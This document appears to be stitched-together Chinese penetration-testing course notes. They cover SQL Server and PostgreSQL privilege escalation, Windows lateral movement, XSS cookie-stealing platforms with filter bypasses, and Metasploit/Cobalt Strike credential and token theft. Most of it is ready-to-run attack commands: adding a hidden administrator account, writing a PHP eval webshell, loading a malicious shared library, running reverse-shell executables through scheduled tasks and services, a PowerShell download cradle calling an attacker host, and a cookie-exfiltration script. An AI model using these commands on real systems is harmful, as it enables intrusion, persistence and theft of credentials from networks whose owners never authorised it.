xp_cmdshell 是SQL Server的一个扩展存储过程。它允许系统管理员以操作系统命令行解释器的方式执行给定的命令字符串，并以文本行的方式返回任何输出。

由于它可以执行任何操作系统命令，因此危害很大。如果攻击者获得了SQL Server的管理员账号（如sa），连接到数据库后就可以利用 xp_cmdshell 执行系统命令，从而获得系统权限。

版本差异：

  • 在SQL Server 2000中，xp_cmdshell 默认是开启的。
  • 在SQL Server 2005及更高版本中，xp_cmdshell 默认是关闭的。

因此，在新版本中我们无法直接使用它。如果执行 xp_cmdshell 相关命令报错，通常意味着该组件被禁用。

SQL Server提权实战流程

场景假设：我们通过一个SQL注入点，能够执行我们注入的SQL语句，并且当前数据库用户具有较高权限（如属于 sysadmin 服务器角色）。

核心步骤：

  1. 判断当前用户权限：确认当前数据库用户是否属于 sysadmin 角色（即管理员组）。
    SELECT IS_SRVROLEMEMBER('sysadmin');
-- 如果返回1，则是管理员。
  2. 判断xp_cmdshell是否存在：检查数据库是否安装了 xp_cmdshell 组件。
    SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell';
  3. 启用xp_cmdshell（如果需要）：如果组件存在但被禁用，且当前是管理员权限，则可以尝试启用它。
    EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
  4. 执行系统命令：启用后，即可通过 xp_cmdshell 执行系统命令。
    EXEC master..xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'net user hacker Password123! /add';
EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';
  5. 获取命令输出：xp_cmdshell 的执行结果会以数据行的形式返回。在某些注入点，可能需要结合其他语句来查看输出。

备用方案：如果 xp_cmdshell 被删除或无法启用，可以尝试利用其他扩展存储过程，如 sp_OACreate 等，通过创建COM对象来执行命令或写入文件。

总结 🎯

本节课我们一起学习了两种主流数据库的权限提升技术：

  1. MySQL UDF提权：核心在于利用用户自定义函数功能，通过上传自定义的DLL文件来创建一个能执行系统命令的函数。关键技术点包括理解UDF、掌握NTFS ADS流创建目录的方法，以及熟悉整个手工提权的SQL操作流程。
  2. SQL Server xp_cmdshell提权：核心在于利用 xp_cmdshell 扩展存储过程来执行系统命令。关键在于判断当前用户权限、确认组件状态，并在必要时以管理员权限启用它。

这两种提权方式的前提都是我们已经获得了数据库的连接凭证（用户名和密码），并且数据库服务运行在具有一定权限的账户下（如SYSTEM或Administrator）。在实际渗透测试中，这些信息往往通过Web漏洞、配置信息泄露等方式获得。

理解这些原理和步骤，有助于我们在合适的场景下利用数据库这一跳板，成功提升权限，深入目标网络。

课程P77：第47天 - PostgreSQL数据库提权与横向移动基础 🛡️

在本节课中，我们将学习两个核心内容：一是利用PostgreSQL数据库进行权限提升（提权）的方法，二是Windows系统下基于内置工具的横向移动基础。课程将分为两部分，首先详细讲解PostgreSQL提权的原理与步骤，然后介绍横向移动的基本概念和常用工具。

第一部分：PostgreSQL数据库提权 🗄️

上一节我们介绍了MySQL和MSSQL的数据库提权。本节中，我们来看看另一种常见的数据库——PostgreSQL的提权方法。其核心思路与MySQL UDF提权类似，都是通过创建自定义函数来执行系统命令。

核心原理

PostgreSQL提权主要利用数据库的“大对象”功能和自定义扩展。通过将一个包含恶意代码的共享库文件（.so文件）上传到目标服务器，并创建为一个自定义函数，从而获得执行系统命令的能力。

关键步骤如下：

  1. 将恶意 .so 文件以十六进制编码形式插入到数据库的“大对象”中。
  2. 将该大对象的内容导出到目标服务器的文件系统（如 /tmp 目录）。
  3. 在数据库中创建自定义函数，链接到导出的 .so 文件。
  4. 调用该函数执行任意系统命令。

环境准备与连接

首先，需要确保能连接到目标PostgreSQL数据库。连接命令通常如下：

psql -h <目标IP> -U <用户名> -d <数据库名>

连接成功后，可以使用 \? 命令查看帮助，使用 \l 列出数据库，使用 \du 列出用户。

利用步骤详解

以下是利用PostgreSQL执行系统命令的具体操作流程。

1. 读取系统文件

在获取数据库访问权限后，可以利用数据库功能读取服务器上的文件。

方法一：使用COPY命令
以下命令将系统文件 /etc/passwd 的内容读取到数据库表 p 中，然后进行查询。

DROP TABLE IF EXISTS p;
CREATE TABLE p(t TEXT);
COPY p FROM '/etc/passwd';
SELECT * FROM p LIMIT 5;

方法二：使用大对象（Large Object）
以下操作将文件内容写入一个大对象，然后读取出来。

-- 创建一个大对象并写入文件内容
SELECT lo_import('/etc/passwd', 12345678);
-- 以十六进制格式读取大对象内容
SELECT hex(lo_get(12345678));

获取到的十六进制字符串，解码后即可得到文件原始内容。

2. 写入WebShell

如果知道Web目录且有写权限，可以通过数据库写入WebShell。

-- 创建表并插入一句话木马内容
DROP TABLE IF EXISTS cmd;
CREATE TABLE cmd(code TEXT);
INSERT INTO cmd VALUES ('<?php @eval($_POST[“cmd”]);?>');
-- 将表内容导出到Web目录
COPY cmd TO '/var/www/html/exec/shell.php';

之后，便可访问 http://目标IP/exec/shell.php 连接WebShell。

3. 执行系统命令（提权）

这是提权的核心步骤，目的是让数据库执行我们指定的系统命令。

第一步：检查扩展支持
确认数据库是否支持plpython3u、plperlu等脚本语言扩展。如果支持，可以直接利用。通常我们需要使用编译好的.so文件。

SELECT * FROM pg_available_extensions;

第二步：上传恶意.so文件
假设我们已有一个名为 lib_postgresqludf_sys.so 的恶意共享库文件。我们需要将其内容分块（每块<=2048字节）并以十六进制形式插入到大对象中。

-- 删除已存在的对象（如果存在）
SELECT lo_unlink(9023);
-- 将.so文件的十六进制内容分块插入到ID为9023的大对象中
-- 此处仅为示例，实际内容很长，需要分段插入
INSERT INTO pg_largeobject VALUES (9023, 0, decode(‘十六进制字符串块1’, ‘hex’));
INSERT INTO pg_largeobject VALUES (9023, 1, decode(‘十六进制字符串块2’, ‘hex’));
-- ... 插入所有分块

第三步：导出.so文件到服务器
将大对象中的内容导出到服务器的可写目录，例如 /tmp。

SELECT lo_export(9023, ‘/tmp/lib_postgresqludf_sys.so’);

第四步：创建自定义函数
利用导出的.so文件创建一个可以执行系统命令的函数。

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS ‘/tmp/lib_postgresqludf_sys.so’, ‘sys_eval’ LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

第五步：执行系统命令
函数创建成功后，即可通过SQL语句执行任意系统命令。

SELECT sys_eval(‘id’);
SELECT sys_eval(‘whoami’);

成功执行后，将返回命令执行结果，从而实现了权限提升。

工具自动化

上述过程可以手动完成，也可以使用Metasploit等自动化工具。Metasploit中提供了 postgresql_readfile、postgresql_sql 等模块，可以简化文件读取和命令执行的操作。

本节课第一部分总结：
我们一起学习了PostgreSQL数据库提权的完整流程。核心在于利用数据库的“大对象”功能上传恶意共享库，并创建自定义函数来执行系统命令。关键在于获得数据库连接权限，并找到可写的服务器目录。在实际测试中，如果遇到PostgreSQL数据库，可以尝试此方法进行权限提升。

第二部分：Windows横向移动基础 🖥️

在渗透测试中，拿到内网一台机器的权限后，下一步往往是在同一网段内进行横向移动，扩大战果。本节将介绍利用Windows系统内置工具进行横向移动的基础方法。

什么是横向移动？

横向移动是指攻击者在已经控制内网一台主机（跳板机）的基础上，利用该主机提供的信息和通道，进一步攻陷同一网络环境下的其他主机的过程。

核心概念：IPC连接

IPC是“进程间通信”的缩写。在Windows中，IPC$ 是一个共享的命名管道资源，用于进程间通信。通过IPC$连接，可以访问远程计算机的共享资源，是许多横向移动手法的基础。

建立IPC连接的前提条件：

  1. 目标开放了 139 或 445 端口。
  2. 目标开启了 IPC$ 共享服务。
  3. 拥有目标主机的管理员账号和密码。

常用IPC命令

以下是利用IPC进行横向信息收集和操作的基本命令。

建立IPC连接：

net use \\<目标IP>\IPC$ “<密码>” /user:<用户名>

例如：net use \\192.168.1.10\IPC$ “Admin123!” /user:Administrator

查看当前连接：

net use

查看目标系统时间（用于后续计划任务）：

net time \\<目标IP>

删除IPC连接：

net use \\<目标IP>\IPC$ /del

通过IPC连接复制文件：

  • 将本地文件复制到远程主机：
    copy shell.exe \\<目标IP>\C$\Windows\Temp\
  • 将远程主机文件复制到本地：
    copy \\<目标IP>\C$\Windows\Temp\secret.txt .\

横向移动手法：IPC + 计划任务

一种经典的横向移动方式是结合IPC连接和计划任务。思路是：通过IPC连接将恶意程序上传到目标，然后通过计划任务在目标上定时执行该程序，从而获得权限。

常用计划任务工具：

  • schtasks：新版Windows系统推荐使用。
  • at：旧版系统使用，新版可能已弃用。

操作流程示例：

  1. 建立IPC连接：net use \\192.168.1.10\IPC$ “Passw0rd!” /user:Administrator
  2. 上传后门程序：copy reverse_shell.exe \\192.168.1.10\C$\Windows\Temp\
  3. 创建计划任务（使用schtasks）：
    schtasks /create /s 192.168.1.10 /u Administrator /p “Passw0rd!” /tn “UpdateTask” /sc once /st 23:30 /tr “C:\Windows\Temp\reverse_shell.exe” /ru system
    • /tn：任务名称。
    • /sc once：调度类型为一次。
    • /st：开始时间。
    • /tr：要运行的程序路径。
    • /ru：以SYSTEM权限运行。
  4. 立即运行任务：schtasks /run /s 192.168.1.10 /u Administrator /p “Passw0rd!” /tn “UpdateTask”
  5. 清理任务：schtasks /delete /s 192.168.1.10 /u Administrator /p “Passw0rd!” /tn “UpdateTask” /f

其他内置工具

除了IPC+计划任务，还有其他内置工具可用于横向移动：

  • SC命令：用于管理服务，可以远程创建、启动、停止服务。例如，将后门程序注册为服务并启动。
  • WMIC命令：强大的管理工具，可以远程执行命令、查询系统信息、管理进程等。
  • WMI：更底层的管理框架，功能比WMIC更强大，可以通过PowerShell或特定工具调用。

本节课第二部分总结：
我们一起学习了Windows横向移动的基础概念和基于IPC连接的经典方法。核心思路是利用已获取的管理员凭证，通过系统内置的远程管理功能（如IPC共享、计划任务、服务管理）在网内其他机器上部署并执行载荷。理解这些基本原理是学习更复杂横向移动技术的基础。

本节课整体总结：
在本节课中，我们深入探讨了PostgreSQL数据库的提权技术，学习了从文件读写到命令执行的全过程。随后，我们转向内网渗透的另一个关键阶段——横向移动，介绍了利用Windows IPC连接和计划任务进行横向扩展的基本方法。掌握这些技能，能够帮助我们在渗透测试中更有效地扩大控制范围。请大家务必在实验环境中亲手操作，加深理解。

第48课：利用Windows内置工具进行横向移动 🚀

在本节课中，我们将学习如何利用Windows操作系统内置的工具，在已经获取一台主机权限的基础上，向网络内的其他主机进行横向移动。我们将重点介绍IPC$共享连接、计划任务、SC命令、WMIC以及WinRM等工具的使用方法。

概述

横向移动是渗透测试和内网渗透中的关键环节。当我们成功控制一台主机（跳板机）后，下一步就是利用这台主机作为跳板，去访问和控制同一网络内的其他主机。Windows系统自带了许多强大的管理工具，可以用于实现这一目的，而无需借助外部软件。

上一节我们介绍了信息收集和权限提升，本节中我们来看看如何利用已获取的凭证进行横向移动。

1. 信息收集与凭证获取 🔍

在开始横向移动之前，我们需要从已控制的主机上收集信息，特别是获取可用于登录其他主机的凭证。

我们已经通过Meterpreter会话获取了SYSTEM权限。接下来可以进行信息收集。

以下是获取当前主机明文密码的几种方法，使用Mimikatz模块：

meterpreter > load kiwi
meterpreter > creds_all

执行creds_all命令后，可能会返回类似以下的信息，其中包含域用户Administrator的明文密码：

Domain: DE1
User: Administrator
Password: Password123!

我们还可以尝试其他命令来获取哈希或明文：

meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets

通过以上方法，我们得到了域DE1的管理员账号Administrator及其密码。由于域管理员账号可以登录域内的任何主机，因此这些凭证对我们进行横向移动至关重要。

2. 探测内网存活主机 📡

在尝试连接其他主机前，我们需要知道目标网络中有哪些主机是存活的。

我们可以从已获取的Meterpreter会话中，使用shell命令进行内网主机存活探测：

meterpreter > shell
C:\> for /L %i in (1,1,254) do @ping -n 1 -w 50 10.10.10.%i | findstr "TTL"

假设探测发现IP地址为10.10.10.201的主机存活，并且它开放了445端口（文件共享服务）和135端口（RPC服务），这满足了IPC$连接的基本条件。

3. 利用IPC$进行横向移动 🔗

IPC\(（进程间通信）共享是Windows用于管理远程计算机的隐藏共享。建立IPC\)连接后，可以进行文件操作、命令执行等。

建立IPC$连接

首先，检查并清理可能存在的旧连接，然后使用获取的域管理员凭证建立新连接：

C:\> net use \\10.10.10.201\IPC$ /delete
C:\> net use \\10.10.10.201\IPC$ Password123! /user:DE1\Administrator

命令成功执行，表示连接已建立。

IPC$连接的应用

建立连接后，我们可以进行多种操作：

访问远程文件系统：

C:\> dir \\10.10.10.201\C$

上传文件到远程主机：

C:\> copy C:\test.exe \\10.10.10.201\C$\test.exe

从远程主机下载文件：

C:\> copy \\10.10.10.201\C$\important.txt C:\local_copy.txt

查看远程主机时间（为计划任务做准备）：

C:\> net time \\10.10.10.201

4. 利用计划任务执行命令 ⏰

计划任务（schtasks 或 at）允许我们在远程主机上定时执行命令或程序，从而获取反向Shell。

使用 schtasks 命令

首先，将后门程序通过IPC$连接上传到目标主机。然后，创建计划任务立即执行它：

C:\> schtasks /create /s 10.10.10.201 /u DE1\Administrator /p Password123! /sc minute /mo 1 /tn "BackdoorTask" /tr "C:\test.exe" /ru SYSTEM
  • /s: 指定远程主机。
  • /u 和 /p: 提供用户名和密码。
  • /sc minute /mo 1: 设置为每分钟执行一次。
  • /tn: 任务名称。
  • /tr: 要执行的程序路径。

任务创建后，等待其执行，即可在攻击机（如Metasploit）上收到来自10.10.10.201的反向Shell连接。

清理痕迹：

C:\> schtasks /delete /s 10.10.10.201 /u DE1\Administrator /p Password123! /tn "BackdoorTask"

使用 at 命令（旧系统）

在Windows Server 2008或Win7等系统上，也可以使用at命令：

C:\> net time \\10.10.10.201
C:\> at \\10.10.10.201 21:10 C:\test.exe

此命令会在远程主机的21:10执行C:\test.exe。

5. 利用SC命令管理服务 ⚙️

SC命令可以远程创建、启动、停止服务。我们可以创建一个服务来执行我们的后门程序。

在远程主机上创建服务：

C:\> sc \\10.10.10.201 create BackdoorService binpath= "cmd /c C:\test.exe" start= auto

启动远程服务：

C:\> sc \\10.10.10.201 start BackdoorService

服务启动后，会执行binpath指定的命令，从而触发我们的后门。

查询服务状态：

C:\> sc \\10.10.10.201 qc BackdoorService

6. 利用WMIC执行命令 💻

WMIC（Windows管理工具命令行）支持远程执行命令。但默认无回显，通常用于创建进程。

在远程主机上创建进程（例如启动计算器）：

C:\> wmic /node:10.10.10.201 /user:DE1\Administrator /password:Password123! process call create "calc.exe"

此命令会返回创建的进程ID。

结合反弹Shell命令：
我们可以将calc.exe替换为任何能在目标机器上执行的命令，例如一个通过certutil或powershell下载并执行Payload的命令，从而直接获取反向Shell。

7. 利用WinRM执行命令 🌐

WinRM（Windows远程管理）是Windows的远程管理服务，默认在2012及以上版本开启，允许远程执行PowerShell命令。

首先，在目标主机上启用WinRM（如果需要）：

C:\> winrm quickconfig
C:\> winrm set winrm/config/client @{TrustedHosts="*"}

使用WinRS执行命令（有回显）：

C:\> winrs -r:http://10.10.10.201:5985 -u:DE1\Administrator -p:Password123! ipconfig

此命令会远程执行ipconfig并返回结果。

使用WinRM的Invoke-WmiMethod创建进程（无回显）：

C:\> powershell -Command "$cred = Get-Credential; Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'calc.exe' -ComputerName 10.10.10.201 -Credential $cred"

同样，可以将calc.exe替换为反弹Shell的命令。

使用WinRM创建并启动服务：
通过PowerShell，可以远程调用WMI创建和启动服务来执行后门，原理与SC命令类似。

总结

本节课我们一起学习了利用Windows内置工具进行横向移动的多种方法：

  1. IPC$共享连接：用于建立远程管理通道，进行文件传输和基础信息获取。
  2. 计划任务（schtasks/at）：用于在远程主机上定时执行我们的Payload。
  3. SC命令：用于远程创建和启动服务，以系统权限执行命令。
  4. WMIC：用于在远程主机上创建进程（无回显）。
  5. WinRM：强大的远程管理协议，可以执行命令（有回显）和管理远程服务。

这些方法的核心思路都是：利用从已控主机获取的高权限凭证，通过Windows自带的管理功能，在远程主机上执行代码。掌握这些技术对于理解内网渗透的横向移动至关重要。请大家务必在实验环境中亲手操作一遍，以加深理解。

课程P79：第49天 - 内网横向移动：外部工具篇 🔧

在本节课中，我们将学习内网横向移动的外部工具使用方法。上一节我们介绍了Windows系统内置的横向移动工具，本节我们将重点讲解需要上传到目标主机的外部工具，它们能扩展命令功能并实现更强大的横向渗透能力。

概述 📋

本节课内容分为五个部分：psexec与smbexec工具、wmiexec脚本、在Metasploit和Cobalt Strike中的横向移动操作，以及SharpRDP工具。这些工具能帮助我们基于已控制的跳板机，进一步渗透内网中的其他主机。

第一部分：psexec与smbexec工具

上一节我们介绍了利用系统内置命令进行横向移动。本节中，我们来看看两个功能强大的外部工具：psexec和smbexec。

psexec工具介绍

psexec是一个轻量级的Telnet替代品。它允许在远程系统上执行进程，并为控制台应用程序提供完整的交互性，而无需在目标主机上安装客户端软件。

其工作原理基于以下步骤：

  1. 建立IPC连接。
  2. 将服务程序释放到目标机器。
  3. 使用OpenSCManager打开服务控制器句柄。
  4. 创建并启动服务，从而执行命令。

基本使用语法如下：

  • 若已建立IPC连接，可直接使用：psexec \\目标IP 命令
  • 若未建立连接，需指定凭据：psexec \\目标IP -u 用户名 -p 密码 命令

以下是psexec的两种主要用途：

1. 反弹CMD shell
通过以下命令，可以获取一个交互式的CMD会话。

psexec \\目标IP -s cmd.exe /accepteula

参数说明：-s表示以SYSTEM权限运行，/accepteula用于自动接受许可协议。

2. 执行单条命令
直接在命令后附加要执行的指令即可。

psexec \\目标IP -u administrator -p Password123 ipconfig

在Cobalt Strike中的注意事项
在Cobalt Strike的Beacon中执行psexec时，由于通信基于HTTP，无法直接获得交互式shell。我们的主要目的是在远程主机上执行反弹shell的命令。注意： 在Beacon中使用psexec传递命令时，不要用双引号包裹命令，否则会报“找不到文件”错误。
正确用法示例（用于执行PowerShell反弹）：

psexec \\192.168.1.100 -u domain\user -p pass -s cmd.exe /c powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://攻击机IP:80/a'))"

smbexec工具介绍

smbexec是基于psexec原理的测试工具，属于impacket工具套件的一部分。它的使用格式和效果与psexec类似。

使用示例：

smbexec.py 域名/用户名:密码@目标IP

执行后，同样会建立连接、上传服务、执行命令并清理痕迹。

关于Impacket套件
Impacket项目提供了多种内网渗透脚本，包括psexec.py和smbexec.py等。这些工具既有Python脚本版本（需目标机有Python环境），也有编译好的Windows可执行文件（.exe），可根据实际情况选择使用。

第二部分：wmiexec脚本

上一节我们提到wmic命令执行无回显的缺点。本节中，我们利用wmiexec.vbs脚本来解决这个问题，实现带回显的WMI横向移动。

脚本用法

这是一个VBS脚本，需要使用cscript解释器执行。/nologo参数用于禁止显示脚本标头信息。

1. 执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd 用户名 密码 目标IP "要执行的命令"

2. 获取半交互式Shell
不指定具体命令，可直接获得一个半交互式的CMD shell。

cscript.exe //nologo wmiexec.vbs /shell 用户名 密码 目标IP

原理与注意事项

该脚本的核心是向目标上传并执行一个名为wmi.dll的文件，该文件负责捕获命令执行结果并回传。

可能遇到的问题：
如果多次对同一目标使用该脚本，可能会因wmi.dll文件被占用而导致上传失败。解决方法是在VBS脚本中修改wmi.dll的文件名，避免冲突。

第三部分：Metasploit与Cobalt Strike中的横向移动

在渗透测试框架中，可以更方便地集成上述工具进行横向移动。

在Metasploit中操作

  1. 获取一个跳板机的Meterpreter会话。
  2. 通过upload命令将psexec.exe等工具上传到跳板机。
  3. 进入跳板机的shell环境（shell命令）。
  4. 在跳板机的shell中执行横向移动命令，攻击内网其他主机。

在Cobalt Strike中操作

  1. 通过Beacon控制一台跳板机。
  2. 使用upload功能将外部工具上传。
  3. 在Beacon中使用execute或shell命令运行上传的工具。
  4. 重点是利用工具在远程主机上执行反弹shell的命令，使新主机回连到你的Cobalt Strike团队服务器，从而扩展控制范围。

第四部分：SharpRDP工具简介

除了上述基于SMB和WMI协议的工具，还可以利用RDP（远程桌面协议）进行横向移动。SharpRDP是一款.NET工具，允许在远程主机上执行命令。

其基本原理是通过RDP协议连接到目标，并利用漏洞或特性在目标系统上启动进程。由于RDP是Windows常见的管理协议，此类操作可能更不易被察觉。具体使用方法需参考该工具的专门文档。

总结 🎯

本节课我们一起学习了内网横向移动的外部工具。

  • 我们掌握了psexec和smbexec工具的原理与用法，它们通过创建服务来实现远程命令执行。
  • 我们了解了wmiexec.vbs脚本如何弥补wmic无回显的缺陷。
  • 我们探讨了如何在Metasploit和Cobalt Strike两大渗透框架中，结合这些工具进行高效的横向移动。
  • 最后，我们简要介绍了利用RDP协议的SharpRDP工具。

掌握这些外部工具，能显著提升你在内网渗透中的横向扩展能力。请务必在授权环境下进行练习，并理解每种工具背后的原理。

🛡️ 课程P8：第6天 - XSS漏洞进阶：平台搭建、绕过与防御

在本节课中，我们将深入学习跨站脚本攻击的进阶内容。课程将分为三个主要部分：首先，我们将学习如何搭建和使用XSS接收平台来获取受害者信息；其次，我们将探讨XSS攻击的常见绕过技巧以及相应的防御策略；最后，我们会通过实操练习来巩固所学知识。

🏗️ 第一部分：XSS接收平台的搭建与使用

上一节我们介绍了XSS的基本原理，本节中我们来看看如何利用接收平台来获取更具体的信息，例如用户的Cookie。

XSS接收平台是一个用于接收和展示由XSS攻击泄露出来的受害者信息的服务器。它可以帮助攻击者更方便地收集数据。

以下是两个常用的XSS接收平台：

  1. XSSer：一个功能丰富的XSS接收平台，但搭建步骤相对复杂。
  2. 蓝莲花 (Blue Lotus)：一个轻量级的XSS接收平台，搭建过程较为简单。

蓝莲花平台搭建步骤

以下是蓝莲花平台在Windows环境下使用集成环境（如PHPStudy）的搭建流程：

  1. 下载蓝莲花平台的压缩包。
  2. 将解压后的文件夹放入Web服务器的根目录（例如 www 目录）。
  3. 启动Web服务器（如Apache）。
  4. 在浏览器中访问该文件夹的路径，例如 http://localhost/blue-lotus/。
  5. 页面将提示安装，按照指引设置后台密码（默认为 blue lotus）并完成安装。
  6. 安装成功后，使用设置的密码登录后台管理界面。

接收平台的使用方法

平台搭建完成后，核心功能是生成用于窃取信息的恶意脚本。

以下是使用蓝莲花平台生成恶意脚本的步骤：

  1. 在平台后台的“我的JS”页面，创建一个新的模板，例如命名为 test。
  2. 选择一个内置的JS模板（通常包含获取Cookie、URL等信息的代码）。
  3. 点击“插入模板”，将代码显示在编辑框中。
  4. 关键步骤：将代码中接收数据的服务器地址修改为你自己的平台地址。
    // 示例：修改接收地址
var url = ‘http://your-platform-address/receive.php?cookie=‘ + encodeURIComponent(document.cookie);
  5. 点击“生成Payload”，平台会提供一个链接或一段JS代码。
  6. 将这个Payload注入到存在XSS漏洞的网站中。当受害者访问该页面时，其Cookie等信息就会被发送到你的接收平台。
  7. 在平台的“接收面板”中，即可查看所有捕获到的信息，包括来源IP、Cookie、User-Agent等。

通过使用接收平台，攻击的危害性从简单的弹窗演示升级为实际的信息窃取，这也凸显了防御XSS的重要性。

🔓 第二部分：XSS的绕过技巧与防御策略

在了解了如何利用XSS后，我们需要知道常见的过滤机制以及如何绕过它们，同时也要学习如何从开发角度进行有效防御。

常见的XSS绕过技巧

当网站对输入进行简单过滤时，攻击者可能会采用以下方法绕过：

  1. 当尖括号< >被过滤时：

    • 场景：用户输入被输出到HTML标签的属性中，例如 <input value=“USER_INPUT”>。
    • 绕过方法：闭合前一个属性的引号，然后使用HTML事件属性。
    • 示例Payload：“ onclick=“alert(1)。这会形成 <input value=“” onclick=“alert(1)“>。

  2. 当alert等关键词被过滤时：

    • 绕过方法：使用编码或JS的其他弹窗函数。
    • 示例Payload（HTML编码）：
      <a href=“javascript:alert(1)”>click</a>
<!-- 编码后 -->
<a href=“javascript:alert(1)”>click</a>
    • 示例Payload（使用其他函数）：prompt(1) 或 confirm(1)。

  1. 当on事件处理器被过滤时：
    • 绕过方法：利用其他可以执行JavaScript的属性或标签。
    • 示例Payload（利用<svg>标签）：
      <svg onload=“alert(1)”></svg>
    • 示例Payload（利用<a>标签的伪协议）：<a href=“javascript:alert(1)”>click</a>。

XSS的防御策略

有效的XSS防御需要从输入处理和数据输出两个层面进行。

  1. 输入验证与过滤

    • 白名单策略：只允许特定的、安全的字符或格式通过。例如，姓名字段只允许字母和空格。这比黑名单（禁止已知危险字符）更有效。
    • 示例代码（PHP过滤函数）：
      // 使用htmlspecialchars将特殊字符转换为HTML实体
$user_input = htmlspecialchars($_GET[‘input’], ENT_QUOTES, ‘UTF-8‘);
// ENT_QUOTES 参数会同时编码单引号和双引号，非常重要。

  2. 输出编码

    • 根据数据输出的上下文，进行相应的编码。
    • 在HTML标签中输出：使用HTML实体编码。
    • 在JavaScript代码中输出：使用JavaScript编码。
    • 在URL参数中输出：使用URL编码。

  3. 使用安全响应头

    • 设置Cookie的HttpOnly属性：防止JavaScript通过document.cookie访问Cookie，能有效防范Cookie劫持。
      setcookie(“sessionid”, “value”, 0, “/”, “”, false, true); // 最后一个参数true表示HttpOnly
    • 内容安全策略：通过HTTP头Content-Security-Policy来定义页面允许加载哪些外部资源，可以大幅减少XSS风险。

  4. 避免有缺陷的第三方库

    • 及时更新项目所使用的第三方库和框架，避免使用已知存在漏洞的旧版本。

🧪 第三部分：XSS漏洞实操练习

理论结合实践才能更好地掌握知识。本节我们将通过靶场进行实操。

推荐使用在线的XSS练习靶场（例如 xss-quiz.int21h.jp 或类似的DVWA等本地靶场）。从最简单的关卡开始，尝试使用本节课学到的Payload进行注入。

实操思路：

  1. 找到存在用户输入回显的地方。
  2. 查看页面源代码，分析用户输入被放置在哪个上下文（HTML标签内、属性内、JavaScript中等）。
  3. 根据上下文，构造相应的Payload尝试弹窗。
  4. 如果遇到过滤，尝试使用本节课介绍的绕过技巧。
  5. 进阶挑战：尝试结合第一部分搭建的接收平台，构造能窃取Cookie的Payload。

课后练习建议：

  1. 完成提供的XSS靶场进阶关卡。
  2. 尝试在一个测试用的内容管理系统留言板中寻找并利用XSS漏洞，并使用接收平台获取“管理员”Cookie。

本节课中我们一起学习了XSS攻击的进阶利用方式，包括搭建信息接收平台、常见的过滤绕过手法以及从开发角度应如何多层面地防御XSS漏洞。XSS的攻防是一个持续的过程，关键在于理解其原理，并在开发中始终贯彻安全编码和纵深防御的思想。

内网横向移动技术详解（P80）🚀

在本节课中，我们将学习内网横向移动的几种核心方法，包括使用smbexec、psexec、wmiexec以及sharpRDP等工具。我们将深入探讨这些工具的原理、使用方法，以及在Metasploit（MSF）和Cobalt Strike（CS）平台下的具体操作。课程内容旨在让初学者能够理解并掌握这些技术。

1. WMIExec脚本使用回顾 🔄

上一节我们介绍了WMIExec脚本的基本使用。本节中，我们来看看如何通过该脚本执行命令并获取结果。

通过脚本的shell参数，我们可以直接获得一个CMD会话。以下是其基本使用演示：

  • 执行命令：脚本能够在远程主机上执行指定的系统命令。
  • 获取回显：执行命令后，结果会回显到控制台。
  • 反弹Shell：我们可以将执行的命令更改为反弹Shell的命令。例如，使用PowerShell脚本通过mshta方法加载，从而在CS服务端接收到来自目标主机的会话。

核心命令示例（概念性）：

# 假设的wmiexec脚本调用格式
python wmiexec.py 域名/用户名:密码@目标IP "执行的命令"

同理，在MSF框架中，也可以利用相应的模块实现类似功能。

2. MSF中的横向移动模块 🛠️

在MSF框架中，集成了多种用于横向移动的模块，简化了我们的操作。以下是三个关键模块的介绍：

2.1 psexec_command

此模块的功能是远程执行命令。其原理与我们之前讨论的psexec类似，但已集成到MSF中。我们只需设置好要执行的命令（例如whoami），模块便会通过psexec在目标主机上执行并返回结果。

2.2 psexec_payload

此模块与psexec_command的不同之处在于，它可以让我们直接获得一个Meterpreter会话。我们通过配置相应的payload，便能在执行后获得目标主机的会话控制权。

2.3 smb_ms17_010_command

此模块利用SMB协议（网络文件共享协议）的漏洞（如MS17-010）来执行命令。要访问远程主机的SMB服务，通常需要提供账号密码进行身份验证。在已知凭证的情况下，我们可以利用此模块执行命令或获取会话。

模块调用流程（概念性）：

  1. use exploit/windows/smb/psexec
  2. set RHOSTS [目标IP]
  3. set SMBUser [用户名]
  4. set SMBPass [密码或哈希]
  5. set payload [选择payload]
  6. exploit

3. Token窃取原理与应用 🔑

Token（令牌）是Windows系统中权限访问控制的核心。掌握Token窃取技术对于权限提升和横向移动至关重要。

3.1 Token简介

Windows主要有两种令牌：

  • 委托令牌（Delegation Token）：用于交互式会话登录（如远程桌面登录）。
  • 模拟令牌（Impersonation Token）：用于非交互式登录（如通过net use访问文件共享）。

关键点：用户登录后生成的令牌在系统重启前一直有效。具有委托令牌的用户注销后，其令牌会转变为依然有效的模拟令牌。

3.2 在MSF中进行Token窃取

MSF集成了incognito模块来实现Token窃取。以下是基本使用步骤：

首先，加载模块并查看帮助：

load incognito
help incognito

常用命令列表：

  • list_tokens -u：列出当前主机上存在的用户令牌。
  • impersonate_token [令牌名]：模拟指定的令牌，获得其权限。
  • steal_token [PID]：窃取指定进程ID（PID）对应的用户令牌权限。
  • rev2self / drop_token：返回窃取令牌之前的原始权限状态。

操作示例：

  1. 通过ps命令查看进程列表，找到具有高权限（如域管理员）用户令牌的进程。
  2. 使用steal_token [高权限进程PID]窃取该令牌。
  3. 使用getuid命令验证当前权限已变更为高权限用户。
  4. 此后，便可以此高权限身份进行横向移动等操作。

4. Cobalt Strike（CS）中的横向移动实践 ⚔️

在CS中，我们可以利用图形化界面和强大的功能进行高效的横向移动。

4.1 信息收集：凭证与主机发现

进行横向移动前，需要收集凭证和存活主机信息。

以下是获取凭证的步骤：

  1. 在已有的会话上右键，选择 Access -> Dump Hashes 或直接在Beacon中执行 hashdump 命令，获取密码哈希。
  2. 执行 logonpasswords 命令（或通过 mimikatz 模块）尝试获取明文密码。
  3. 获取的凭证会存储在 View -> Credentials 中。

以下是进行主机探测的步骤：

  1. 使用 portscan 功能对目标网段进行扫描（如使用ARP扫描方式），探测存活主机及开放端口（如445， 3389）。
  2. 扫描结果会在 Targets 视图中列出，已获得会话的主机会加粗显示。

